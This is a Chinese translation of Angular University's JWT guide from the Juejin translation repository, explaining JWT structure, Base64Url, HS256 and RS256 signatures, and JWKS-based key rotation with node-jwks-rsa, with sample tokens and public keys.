这给我们带来了很多好处,比如说可以简化密钥轮换和撤销。如果我们需要一个新的密钥对,我们只需要发布一个新的公钥。 通常密钥周期轮换期间内,我们会将两个密钥发布和激活一段时间,这段时间一般大于会话时序时间,目的是不中断用户体验,然而撤销可能会更有效。 攻击者可以使用公钥,但是这没有危险。攻击者可以使用公钥进行攻击的唯一方法是验证现有 JWT 签名,可是这对攻击者无用。 攻击者无法使用公钥伪造新创建的 JWT,或者以某种方式使用公钥猜测私钥签名值。(译者注:这一部分主要涉及的是对称加密和非对称加密,感觉说的很啰嗦) 现在的问题是,如何发布公钥? ### JWKS (JSON Web 密钥集) 端点和密钥轮换 JWKS 或者 [JSON Web 密钥集](https://auth0.com/docs/jwks) 是用于在 REST 端点中基于 JSON 标准发布的公钥。 这种类型的端点输出有点吓人,但好消息是我们不必直接使用这种格式,因为有一个库直接使用了它: ``` { "keys": [ { "alg": "RS256", "kty": "RSA", "use": "sig", "x5c": [ "MIIDJTCCAg2gAwIBAgIJUP6A\/iwWqvedMA0GCSqGSIb3DQEBCwUAMDAxLjAsBgNVBAMTJWFuZ3VsYXJ1bml2LXNlY3VyaXR5LWNvdXJzZS5hdXRoMC5jb20wHhcNMTcwODI1MTMxNjUzWhcNMzEwNTA0MTMxNjUzWjAwMS4wLAYDVQQDEyVhbmd1bGFydW5pdi1zZWN1cml0eS1jb3Vyc2UuYXV0aDAuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUvZ+4dkT2nTfCDIwyH9K0tH4qYMGcW\/KDYeh+TjBdASUS9cd741C0XMvmVSYGRP0BOLeXeaQaSdKBi8uRWFbfdjwGuB3awvGmybJZ028OF6XsnKH9eh\/TQ\/8M\/aJ\/Ft3gBHJmSZCuJ0I3JYSBEUrpCkWjkS5LtyxeCPA+usFAfixPnU5L5lyacj3t+dwdFHdkbXKUPxdVwwkEwfhlW4GJ79hsGaGIxMq6PjJ\/\/TKkGadZxBo8FObdKuy7XrrOvug4FAKe+3H4Y5ZDoZZm5X7D0ec4USjewH1PMDR0N+KUJQMRjVul9EKg3ygyYDPOWVGNh6VC01lZL2Qq244HdxRwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH\/MB0GA1UdDgQWBBRwgr0c0DYG5+GlZmPRFkg3+xMWizAOBgNVHQ8BAf8EBAMCAoQwDQYJKoZIhvcNAQELBQADggEBACBV4AyYA3bTiYWZvLtYpJuikwArPFD0J5wtAh1zxIVl+XQlR+S3dfcBn+90J8A677lSu0t7Q7qsZdcsrj28BKh5QF1dAUQgZiGfV3Dfe4\/P5wUaaUo5Y1wKgFiusqg\/mQ+kM3D8XL\/Wlpt3p804dbFnmnGRKAJnijsvM56YFSTVO0JhrKv7XeueyX9LpifAVUJh9zFsiYMSYCgBe3NIhIfi4RkpzEwvFIBwtDe2k9gwIrPFJpovZte5uvi1BQAAoVxMuv7yfMmH6D5DVrAkMBsTKXU1z3WdIKbrieiwSDIWg88RD5flreeTDaCzrlgfXyNybi4UTUshbeo6SdkRiGs=" ], "n": "wUvZ-4dkT2nTfCDIwyH9K0tH4qYMGcW_KDYeh-TjBdASUS9cd741C0XMvmVSYGRP0BOLeXeaQaSdKBi8uRWFbfdjwGuB3awvGmybJZ028OF6XsnKH9eh_TQ_8M_aJ_Ft3gBHJmSZCuJ0I3JYSBEUrpCkWjkS5LtyxeCPA-usFAfixPnU5L5lyacj3t-dwdFHdkbXKUPxdVwwkEwfhlW4GJ79hsGaGIxMq6PjJ__TKkGadZxBo8FObdKuy7XrrOvug4FAKe-3H4Y5ZDoZZm5X7D0ec4USjewH1PMDR0N-KUJQMRjVul9EKg3ygyYDPOWVGNh6VC01lZL2Qq244HdxRw", "e": "AQAB", "kid": "QzY0NjREMjkyQTI4RTU2RkE4MUJBRDExNzY1MUY1N0I4QjFCODlBOQ", "x5t": "QzY0NjREMjkyQTI4RTU2RkE4MUJBRDExNzY1MUY1N0I4QjFCODlBOQ" } ] } ``` 查看 [raw12.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-12-ts) ❤托管于 [GitHub](https://github.com) 关于这种格式的一些细节:`kid` 代表密钥标识符,而 `x5c` 属性是公钥本身(它是 x509 证书链)。 再次强调,我们不必要编写代码来使用这种格式,但是我们需要对这个 REST 端点中发生的事情有一点了解:他只是简单地发布一个公钥。 ### 使用 `node-jwks-rsa` 库实现 JWT 密钥轮换 由于公钥的格式是标准化的,我们需要的是一种读取密钥的方法,并将其传递给 `express-jwt` ,如此以便它可以代替从文件系统中读取出来的公钥。 而这正是 [node-jwks-rsa](https://github.com/auth0/node-jwks-rsa) 库让我们做的!我们来看看这个库的运作: ``` const jwksRsa = require('jwks-rsa'); const expressJwt = require('express-jwt'); const checkIfAuthenticated = expressJwt({ secret: jwksRsa.expressJwtSecret({ cache: true, rateLimit: true, jwksUri: "https://angularuniv-security-course.auth0.com/.well-known/jwks.json" }), algorithms: ['RS256'] }); app.route('/api/lessons') .get(checkIfAuthenticated, readAllLessons); ``` 查看 [raw14.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-14-ts) ❤托管于 [GitHub](https://github.com) 这个库通过 `jwksUri` 属性指定 URL 读取公钥,并使用其验证 JWT 签名。我们需要做的只是匹配网址,如果需要的话还需要设置一些额外参数。 #### 使用 JWT 端点的配置选项 建议将 `cache` 属性设置为 true,以防每次都检索公钥。默认情况下,一个密钥会保留 10 小时,然后再检查它是否有效,同时最多缓存 5 个密钥。 `rateLimit` 属性也应该被启用,以确保库每分钟不会向包含公钥服务器发起超过 10 个请求。 这是为了避免出现拒绝服务的情况,由于某种情况(包括攻击,但也许是一个 bug),公共服务器会不断进行公钥轮换。 这将使应用服务器很快停止,因为它有很好的内置防御措施!如果你想要更改这些默认参数,请查看[库文档](https://github.com/auth0/node-jwks-rsa#caching)来获取更多详细信息。 这样,我们已经完成了 JWT 的网络之旅! * 我们已经在应用服务器中创建并签名了一个 JWT * 我们已经展示了如何在客户端使用 JWT 并将其随每个 HTTP 请求发送回服务器 * 我们已经展示了应用服务器如何验证 JWT,并将每个请求链接到给定用户 我们已经讨论了这个往返过程中涉及到的多个设计方案。让我们总结一下我们所学到的。 ### 总结和结论 将认证和授权等安全功能委派给第三方基于 JWT 的提供商或者产品比以往更加合适,但这并不意味着安全性可以透明地添加到应用中。 即使我们选择了第三方认证提供商或企业级单点登录解决方案,如果没有其他可以用来理解我们所选的产品或者库的文档,我们至少也要知道其中关于 JWT 的一些处理细节。 我们仍然需要自己做很多安全设计方案,选择库和产品,选择关键配置选项,如 JWT 签名类型,设置托管登录页面(如果可用),并放置一些非常关键的、很容易出错安全相关代码。 希望这篇文章对你有帮助并且你能喜欢它!如果您有任何问题或者意见,请在下面的评论区告诉我,我将尽快回复您。 如果有更多的贴子发布,我们将通知你订阅我们的新闻列表。 ### 相关链接 [Auth0 的 JWT 手册](https://auth0.com/e-books/jwt-handbook) [浏览 RS256 和 JWKS](https://auth0.com/blog/navigating-rs256-and-jwks/) [爆破 HS256 是可能的: 使用强密钥在签署 JWT 的重要性](https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/) [JSON Web 密钥集(JWKS)](https://auth0.com/docs/jwks) ### YouTube 上提供的视频课程 看看 Angular 大学的 Youtube 频道,我们发布了大约 25% 到三分之一的视频教程,新视频一直在出版。 [订阅](http://www.youtube.com/channel/UC3cEGKhg3OERn-ihVsJcb7A?sub_confirmation=1) 获取新的视频教程: ## Angular 上的其他帖子 同样可以看看其他很受欢迎的帖子,你可能会觉得有趣: * [Angular 入门 —— 开发环境最佳实践使用 Yarn、Angular CLI,设置 IDE](http://blog.angular-university.io/getting-started-with-angular-setup-a-development-environment-with-yarn-the-angular-cli-setup-an-ide/) * [SPA 应用有什么好处?什么是 SPA?](http://blog.angular-university.io/why-a-single-page-application-what-are-the-benefits-what-is-a-spa/) * [Angular 智能组件与演示组件:有什么区别,什么时候使用哪一个,为什么?](http://blog.angular-university.io/angular-2-smart-components-vs-presentation-components-whats-the-difference-when-to-use-each-and-why) * [Angular 路由 —— 如何使用 Bootstrap 4 和 嵌套路由建立一个导航菜单](http://blog.angular-university.io/angular-2-router-nested-routes-and-nested-auxiliary-routes-build-a-menu-navigation-system/) * [Angular 路由 —— 延伸导游,避免常见陷阱](http://blog.angular-university.io/angular2-router/) * [Angular 组件 —— 基础](http://blog.angular-university.io/introduction-to-angular-2-fundamentals-of-components-events-properties-and-actions/) * [如何使用可观察数据服务构建 Angular 应用 —— 避免陷阱](http://blog.angular-university.io/how-to-build-angular2-apps-using-rxjs-observable-data-services-pitfalls-to-avoid/) * [Angular 形式的介绍 —— 模板驱动与模型驱动](http://blog.angular-university.io/introduction-to-angular-2-forms-template-driven-vs-model-driven/) * [Angular ngFor —— 了解所有功能,包括 trackBy,为什么它不仅仅适用于数组?](http://blog.angular-university.io/angular-2-ngfor/) * [Angular 大学实践 —— 如何用 Angular 构建 SEO 友好的单页面应用](http://blog.angular-university.io/angular-2-universal-meet-the-internet-of-the-future-seo-friendly-single-page-web-apps/) * [Angular 的更正变化如何真正的起作用?](http://blog.angular-university.io/how-does-angular-2-change-detection-really-work/) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/angular-jwt.md ================================================ > * 原文地址:[JWT: The Complete Guide to JSON Web Tokens](https://blog.angular-university.io/angular-jwt/) > * 原文作者:[angular-university](https://blog.angular-university.io) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/angular-jwt.md](https://github.com/xitu/gold-miner/blob/master/TODO/angular-jwt.md) > * 译者:[rottenpen](https://github.com/rottenpen) > * 校对者:[FateZeros](https://github.com/FateZeros),[tvChan](https://github.com/tvChan) # JWT: JSON Web Tokens 全方位指南 这篇推送是手把手教你在 Angular 应用中使用基于 JWT 验证用户身份两部曲的第一部分(也适用于企业应用程序) 本文的目标是先让我们了解 **JSON Web Tokens(或 JWT)具体是如何工作的**,包括如何将它们用于Web应用程序中的用户身份验证和会话管理。 第二部分,我们将会看到在具有特定上下文的Angular应用中,基于JWT的认证是怎样运用的,但这篇文章只关于 JWTs。 ### 为什么需要深入探讨 JWT 对了解 JWTs 至关重要的几个点: * 实现一种基于 JWT 的认证解决方案 * 各种实际故障排除:理解错误消息,堆栈跟踪 * 选择第三方库并理解他们的文档 * 设计一个内部认证解决方案 * 选择和配置第三方认证服务 即使准备选择使用基于 JWT 的认证解决方案时,仍然会涉及一些编码,特别是在客户端上,还有在服务端上。 在这篇文章的最后,您将深入了解 JWT,包括深入了解他们所基于的密码原语,这些原语在许多其他安全用例中都有使用。 你会知道什么时候用 JWT,为什么会用到它,会了解 JWT 的格式以便手动排除签名故障,还有知道一些在线/Node 工具来实现它。 使用这些工具,您将能够排除许多与 JWT 有关的错误情况。所以,我们不妨开始深入探索我们的 JWT! ### 为什么是 JWTs JWTs 最大的优势(相对于用户会话管理中使用内存里的随机令牌)是它们可以把认证逻辑委托到第三方服务器: * 可以是一个集中的内部开发身份验证服务器 * 更典型的是一个商业产品能像 LDAP 服务器一样发布 JWTs * 甚至可以是一个完全外部的第三方认证供应商,例如 Auth0 外部认证服务器 _可以完全独立于我们的应用服务器_,并且不必与网络的其他元素共享任何密钥,也就是说,在我们的应用服务器上根本就没有密钥,别说是丢失或被盗了。 另外,身份验证服务器或应用服务器之间不需要任何直接的实时链接来进行身份验证(稍后将进一步讨论)。 此外,应用服务器可以 **完全无状态**,因为不需要在请求之间保留内存中的令牌。身份验证服务器可以发出令牌,将其发送回,然后立即丢弃它! 此外,也**不需要在应用程序数据库的存储密码摘要**,因此能被盗的东西更少,而与安全性相关的bug也会更少。 在这个点上,你可能会想:我有一个公司内部的应用,JWTs 是不是一个很好的解决方案?对,在这篇文章的最后一部分会讲到 jwts 在典型的预认证企业中的使用情况。 ### 正文目录 在这文章中,我们将涵盖如下章节: * 什么是JWTs * JWT的在线认证工具 * JSON Web Token 的规范 * 简单地说下什么是 JWTs:Header, Payload, Signature * Base64Url (vs Base64) * 使用JWT的用户会话管理:主体和过期时间 * HS256 JWT 签名 - 是如何运作的 * 数字签名 * hash 函数和 SHA-256 * RS256 JWT 签名 - 我们来讨论下公钥加密 * RS256 vs HS256 签名 - 哪一个更好? * WKS (JSON Web Key Set)密钥集端点 * 如何实现 JWT 签名周期性的密钥刷新 * jwt在企业中的应用 * 结语 ### 什么是JWTs JSON Web Token( JWT )只是一个包含特定声明的 JSON 有效内容。 JWTs的 *关键属性* 在于确认令牌本身是否有效。 我们不需要连接第三方服务器,也不需要在请求间保存JWTs到内存中,来确认它们携带的声明是有效的。 一个 jwt 分为3个部分:头部 header, 载荷 payload, 签名 signature。让我们从载荷开始一个个介绍吧。 #### JWT 的 Payload 长什么样子? JWT 的载荷只是一个简单的 JavaScript 对象。这是一个载荷的例子: 在这种情况下,一个载荷包含了关于给定用户的身份信息,但一般情况下,载荷可以是其他任何东西例如包括银行转账的信息。 对载荷的内容是没有限制,但是重点是要知道,**JWT 是不加密的**。所以我们放入 token 的任何信息对于拦截 token 的任何人都是可读的。 因此重点是不要在载荷上放任何用户信息给攻击者直接利用。 #### JWT Headers - 为什么它们那么必不可少? 接收方通过检查签名确认载荷的内容。但是签名有多种类型,所以例如接收者需要知道的事情之一是要查找签名是哪种类型。 这种关于令牌本身的技术元数据信息被放置在一个单独的 JavaScript 对象中,并与载荷一起发送。 这个单独的JSON对象被称为JWT头,这里是一个有效头的例子: 正如我们所看到的,它也只是一个简单的 Javascript 对象。在这个头文件中,我们可以看到用于这个 JWT 的签名类型是 RS256。 很快你会看到更多类型的签名,现在我们先重点了解签名的存在对于身份验证的影响。 #### JWT 签名 - 它们是怎么被运用到用户认证的? JWT的最后一部分是签名,它是一个消息认证码(或 MAC)。JWT 的签名只能由同时拥有载荷(加上头)和密钥的人生成。 下面是如何使用签名来确保身份验证: * 用户将用户名和密码提交给身份验证服务器,这可能是我们的应用程序服务器,但它通常是一个单独的服务器。 * 验证服务器验证用户名和密码组合,并创建一个 JWT 令牌,其中的载荷包含了用户技术标识符和到期时间戳 * 身份验证服务器随后获得一个密钥,并使用它来标记头部和载荷并将其发送回用户浏览器(稍后我们将介绍签名如何工作的具体细节) * 浏览器发送到我们应用服务器的每一个 HTTP 请求都会携带着已签名的 JWT * 已签名的 JWT 扮演着临时用户凭证,它取代了永久用户凭证,即用户名和密码的组合 看看这里我们的应用服务器和JWT令牌做了什么: * 我们的应用服务器检查JWT签名并确认确实拥有密钥的用户签署了这个特定的Payload * 载荷通过技术标识符识别特定的用户 * 只有认证服务器拥有私钥,并且认证服务器仅向提交正确密码的用户发出令牌 * 因此我们的应用程序服务器可以安全地确定这个令牌确实是由认证服务器给予这个特定用户的,这意味着它的确是那个有正确的密码的用户 * 假设这令牌是属于该用户,服务器将继续处理 http 请求。 攻击者冒充用户的唯一方法是窃取其用户名和个人登录密码,或者从认证服务器窃取密钥。 正如我们看到的,签名才是 JWT 的关键部分! 该签名使得完全无状态的服务器能够确定特定的 HTTP 请求属于特定的用户,可以只看请求本身中存在的JWT令牌,并且不强制每次发送请求都带上密码。 #### JWTs 的目标是使服务器无状态吗? 使服务器无状态是只一个不错的副作用,JWTs 关键的好处是,发送JWT的服务器和验证JWT的服务器可以是两个完全独立的服务器。 这意味着我们只需要最小的验证逻辑,即检查 JWT 就能胜任这个水平上服务器的身份验证工作。 可能一个认证服务器将为一群应用提供授权登录/注册服务。 这意味着应用程序服务器更简单,更安全,因为许多身份验证功能都集中在身份验证服务器上,并在应用程序之间重复使用。 现在我们已经知道 JWT 是如何启用无状态的第三方认证的,让我们来详细介绍它们的实现。 ### 一个JSON Web Token长什么样子呢? 为了了解JWT的3个组成部分,这里有一个展示代码和一个在线 JWT 验证工具的[视频](https://www.youtube.com/embed/4dmvQlBmr34) 让我们看一个JWT的案例,取自在线JWT验证工具[jwt.io](https://jwt.io): ``` eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ ``` 你可能会想到,JSON 对象去哪了??我们马上就带它们回来。事实上,在这篇文章的结尾,你将深入了解这个奇怪的字符串的每一个方面。 让我们看一下它:我们能看到它被点(.)分成三个独立的部分。第一部分是在第一个点之前的 JWT 头部: ``` JWT Header: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ``` 第二部分是在第一点和第二个点之间的载荷: ``` JWT Payload: eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9 ``` 最后一部分是,第二个点后面的签名: ``` JWT Signature: TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ ``` 如果你想要确认这部分信息确实是存在的,只要把整句 JWT 字符串复制到官方的 JWT 验证工具[jwt.io](https://jwt.io/)即可。 但这些字符是什么,我们应该怎么读取JWT中的信息来排查问题呢?jwt.io 是怎么取回 JSON 对象的? ### 是 Base64 还是 Base64Url? 不管你相不相信,载荷,头部,还有签名仍然是以可读形式存在着。 我们只是想确保当我们发送 JWT 时,在网络上不会有那些讨厌的(“乱码” `qîüö:Ã`)字符编码问题。 发生这问题是因为世界各地不同的电脑都通过不同的编码来处理字符串,例如 UTF-8, ISO 8859-1等等。 字符串这种问题比比皆是:当我们在任何平台都有一个字符串时,我们都会对其进行编码。哪怕我们没有指定任何编码: * 要么使用操作系统默认编码 * 要么从服务器的配置参数中获取 我们希望在网络上发送的字符串不必担心这些问题,因此我们选择了一个所有常见的字符编码都能通过同样方式处理的字符子集,Base64 编码格式应运而生。 ### Base64 vs Base64Url 但我们可以看到 JWT 实际上不是 Base64 而是 **Base64Url**。 这就像 base64,但上演着不同的角色,举个真实的例子:如果我们用一个第三方登录页,然后重定向到我们的网站,我们可以轻易地把 JWT 当作 URL 参数发送出去。 所以,如果我们在这个 JWT 提取第二部分内容(在第一个点和第二个点之间),我们得到的载荷是长这样子的: ``` eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9 ``` 让我们在在线解码器上运行它,例如[这个解码器](https://www.base64decode.org/): 我们得到一个 JSON 载荷!对于故障排除来说,它是个很棒的东西。我们也用 Base64 解码,在此之后,让我们马上总结一下到目前为止我们已经: > 总结:我们现在有一个可读性良好的 JWT 头和载荷:它们只是两个 JavaScript 对象,转换为 JSON,使用 base64url 进行编码的内容会被点分隔开。 这种格式实际上只是通过网络发送 JSON 的一种实用方式。 这段视频展示了如何创建和验证 JWT 的一些代码,包括头和载荷部分细节:[vedio](https://www.youtube.com/embed/c5p4ttLXbgo) 在进入签名之前,让我们讨论一下,在用户身份验证的具体示例中,我们将什么放进载荷中。 ### JWT 用户会话管理:主题和过期 正如我们已经提到的,一个 JWT 的载荷原则上可以是任何东西,而不仅仅是用户认证信息。但使用 JWT 认证是常见的情况,这里有两个载荷特性: * 用户验证 * 会话过期 这是一对最常用的JWT载荷特性: 以下是这些标准属性的含义: * `iss` 指的是发行实体,在这种情况下是我们的认证服务器 * `iat` 是JWT创建的时间戳(从 Epoch 时间纪元开始的秒数) * `sub` 包含用户的验证码 * `exp` 包含令牌的过期时间戳 这就是所谓的 Bearer Token,它隐含的意思是: > 认证服务器确认这个令牌的主人的ID被定义了 `sub` 的属性:让这个用户访问 现在我们已经充分理解到载荷在典型的用户验证中是怎么使用的了,现在让我们重点了解下签名。 JWT 的签名有很多类型,本文将介绍两种:HS256 和 RS256。那我们从第一个签名类型开始:HS256。 ### HS256 的 JWT 数字签名 - 它是怎么工作的? 正如大多数签名,HS256 数字签名是基于一个特殊类型的函数:加密 hash 函数。 这听起来很吓人,但这是一个值得学习的概念:这一知识点不管在过去的20年还是将来很长一段时间都很有用。很多实际的安全措施都围绕着 hash,它们在 Web 应用安全无处不在。 好消息是,我们可以通过几段话解释清楚关于 hashing (作为 Web 应用开发者)所需要知道的一切,这就是我们要做的。 我们将分两部来做:首先,我们将讨论 hash 函数是什么,然后我们将看到如何将这样的函数和密码结合生成消息验证代码(数字签名)。 在本章的最后,你可以自己使用在线诊断工具和 npm 包复现这个 HS256 JWT 签名。 #### 什么是 hash 函数? hash 函数是一种特殊类型的函数,它具有一些非常独特的属性:它具有许多实际有用的用例,如数字签名。 我们将讨论这些函数的4个有趣的属性,然后看看为什么这些属性使我们能够生成可验证的签名。 我们在这里使用的函数被称为[SHA-256](http://www.movable-type.co.uk/scripts/sha256.html)。 #### hash 函数属性1————不可逆性 hash 函数有点像绞肉机:你把牛排放在一端,就可以从另一端得到汉堡包,你没有办法从汉堡包中把牛排放回去: > 这个函数是真正不可逆的 这意味着如果我们靠头部和载荷运行这个函数,是得不到相同输出的。 想要查看SHA-256的输出示例,可以用这个[在线hash计算器](http://www.xorbin.com/tools/sha256-hash-calculator)实验下: ``` 3f306b76e92c8a8fbae88a3ef1c0f9b0a81fe3a953fa9320d5d0281b059887c3 ``` 这意味 hash 不是加密:加密是一种可逆的行为————我们需要从加密输出中取回原始输入。 #### hash 函数的特性2————可复现的 关于哈希的另一个重要的特性是它是可复现的,这意味着如果我们把相同的输入 eader 和载荷多次的 hash,我们总是会得到完全相同的结果。 这意味着,给定一对输入和一个 hash 输出,我们总是可以验证输出(例如签名)是否正确,因为我们可以很容易复现这个 hash 过程————但前提是我们拥有所有的输入。 #### hash 函数的特征3————无冲突 hash 函数的另一个有趣特性是,如果我们多次向它提交不同的值,根据每次的输入值都会得到唯一的结果。 实际上不存在两个不同的输入值能得到相同结果的情况————一个独特的输入会产生独特的输出。 这意味着如果我们 hash 头跟载荷,我们通常会得到完全相同的结果,而不是不同的数据也能得到相同的 hash 输出————hash 输出实际上输入数据的唯一表现形式。 #### hash函数的特征4————不可预测性 我们将要讨论的是关于 hash 函数的最后一个属性是,根据已知输出是不可能用连续增量逼近的方法来猜测输入的。 假设我们有一个 hash 输出,我们尝试通过观察它来猜测它的输入值,然后看看实际的输入值跟我们猜测的是否接近。 然后我们简单地调整输入中的一个字符,然后再次检查输出,看看它们是否更接近,如果是这样,重复这个过程,直到我们能设法猜测到输入。 这里唯一的问题是: > 使用 hash 函数,这个策略将不起作用! 这是因为在 hash 函数中,如果我们改变输入中的一个字符(甚至是一个 bit),平均50%的输出 bit 会发生变化! 因此,即使是最小的输入差异,也会产生完全不同的输出。 这一切听起来都很有趣,但您可能正在思考一点:hash 函数是如何启用数字签名的呢? 攻击者不能只用头和载荷来伪造签名吗? 任何人都可以使用 SHA-256 函数得到相同的输出,将它添加到 JWT 的签名,对吗? ### 怎么使用 hash 函数来创建一个签名? 只要最后一部分是 true,任何人都可以重现给定的 header 和 payload 的 hash 值。 但是 HS256 签名不仅仅是这样:相反,我们会带上头部,载荷和我们添加的密码,然后全部一起进行 hash 处理。 得到的结果是一个 SHA-256 HMAC 或者一个 Hash-Based 消息认证代码。例如 HMAC-SHA256 函数,会被用在 HS256 签名上。 这个函数的结果只能被拥有 JWT Header, Payload(所有抓取了 token 的人都能读懂的)和密码的人所重现。 > 这意味着由此产生的 hash 实际上是数字签名的一种形式。 因为 hash 后的结果证明载荷是被密码持有人创建并签名的:别人没办法想出这样独一无二的 hash。 因此,hash 作为一个不可伪造的数字证明的载荷是有效的 然后将 hash 附加到消息中,以便接收者对其进行验证:该散列输出称为 HMAC:基于散列的消息验证代码,这是一种数字签名形式。 JWTs 的真实情况:JWT 的最后一部分(第二点后)是头加上载荷的 SHA-256 hash,编码格式是 base64url。 #### 如何验证一个 JWT 签名? 因此当我们在服务器端收到一个 HS256-signed JWT,我们也需要一个准确的密码,用来验证签名和确认 token 的载荷确实是有效的。 想要检查这个签名,我们只需将密码与 JWT 头跟载荷一起 hash 就可以了。这意味着,在 HS256 的情况下,JWT 接收方需要和发送方具有相同的密码。 如果我们得到与签名相同的 hash 值,则意味着该令牌肯定是有效的,因为只有具有密码的人才可以提供该签名。 总之,这就是数字签名和 HMAC 的工作方式。想不想马上看看它? ### 手动确认 SHA-256 JWT 签名 让我们采用与上述相同的 JWT,并删除签名和第二个点,只留下头部和载荷部分。它看起来像这样: ``` eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9 ``` 现在,如果您将此字符串复制/粘贴到像[这个](https://hash.online-convert.com/sha256-generator)那样的在线 HMAC SHA-256 工具中,并使用密码 `secret` ,我们将返回 JWT 签名! 通常,我们会得到它的 Base64 版本,它通常以 `=` 结尾,这是接近但不完全相同的 Base64Url: ``` TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ= ``` 这个等号会以 `%3D` 在 url 栏显示,这是其中一个麻烦,但它也充分说明了 Base64Url 的重要性, 没有很多在线 Base64Url 转换器可用,但是我们可以在命令行中进行。所以要真正确认这个HS256签名,这里有个[ npm 包](https://www.npmjs.com/package/base64url),可以实现 Base64Url,以及Base64的正向/反向转换。 #### base64url NPM 包 让我们使用这个包将结果转化成 Base64 URL 来确认签名,同时搞懂它是怎么运作的 ``` mkdir quick-test && cd quick-test npm init npm install base64url node > const base64url = require('base64url'); > base64url.fromBase64("TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ=") TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ ``` 所以最后我们得到了这个我们一直试图复现的HS256 JWT签名字符串: > 这要求 JWT 签名上的每个字母都一摸一样! 那么恭喜你,现在你知道如何深入 HS256 JWT 签名的工作里去了,你将能自己使用这些在线工具和软件包排查问题。 ### 为什么还有其他签名呢? 总而言之,这才是 JWT 签名在认证的用法,而 HS256 只是一个特定签名类型的例子。但是还有其他的签名类型,最常用的是 RS256。 有什么不同? 我们在这里介绍 HS256 的原因主要是因为它可以让我们更容易理解 MAC 代码的概念,而且你很可能在许多应用的生产中发现它。 但总的来说,使用 RS256 签名会**更好**一些,因为我们将在下一节知道,相比 HS256 它有更多优势。 ### HS256 签名的缺点 如果输入密匙很弱,HS256 签名很可能会被破解,但这可能涉及许多其他关于密钥的技术。 根据典型的生产密钥大小对比,基于 Hash 的签名比其他替代品更容易破解。 但更重要的是,HS256 的一个实际缺点是,在派发 JWTs 服务器和其他验证用户身份的服务器之间需要一个事先商定的密码的。 #### 不实用的密钥转换 这意味着,如果我们想改变密码,我们需要把它分配并安装到所有需要它的网络节点,这不方便,容易出错,需要协调服务器停机时间。 服务器由一个完全不同的团队管理,甚至由第三方组织管理的情况下,这是不可行的。 #### 令牌的创建和验证是不独立的 这一切都归结于创建和验证 JWT 的能力是一样的:网络中的每个人都可以通过 HS256 创建**和**验证令牌,因为它们都有自己的密码。 这意味着攻击者可以窃取密码的地方更多了,因为密码需要安装在每一个地方,而不是所有的应用程序都具有相同安全级别。 缓解这种问题的一个方法是在每个应用间创建一个共享密码,但是,我们要学习一个新的签名方法,来解决所有这些问题,同时现代基于 JWT 的解决方案都默认使用:RS256。 ### RS256 JWT 签名 使用RS256,我们仍然会像以前一样生成一个认证码,但是我们的目标仍然是创建一个数字签名来证明给定的 JWT 是有效的。 但是在这个签名的情况下,我们将分离创建有效令牌的能力,只有验证服务器才能验证JWT令牌,只有我们的应用服务器才能从中受益。 我们要做的是,我们将创建两个密钥来取代它: * 仍然会有一个私钥,但它只会在验证服务器自己签署 JWTs 时才会用到。 * 私钥可用于签署 JWTs,但不能用于验证 * 第二个密钥叫做公钥,它只被服务器用于验证 JWTs * 公钥可用于验证 JWT 签名,但不能用于签署新的 JWT * 公钥一般不需要保密,因为攻击者得到它也没办法伪造签名 ### 介绍一下 RSA 加密技术 RS256 使用了一种特定类型的密钥,称为 RSA 密钥。RSA 是一种加密/解密算法的名称,该算法使用一个密钥进行加密,另一个密钥进行解密。 注意,RSA 密钥不是 hash 函数,因为根据定义,加密的结果是可以反转的,我们能找回初始的结果。 让我们看一下一个 RSA _公钥_长怎样的: ``` -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQAB -----END PUBLIC KEY----- ``` 它看起来有一点可怕,但它其实只是一个像 OpenSSL 这样的命令行工具或[像这个](http://travistidwell.com/jsencrypt/demo/)在线RSA密钥生成工具生成的唯一密钥, 同样,这个密钥 _可以被公开_,它实际上就是公开的,因此攻击者不需要猜测这个密钥:通常他们早已拥有了它。 但也有相应的 RSA 私钥: 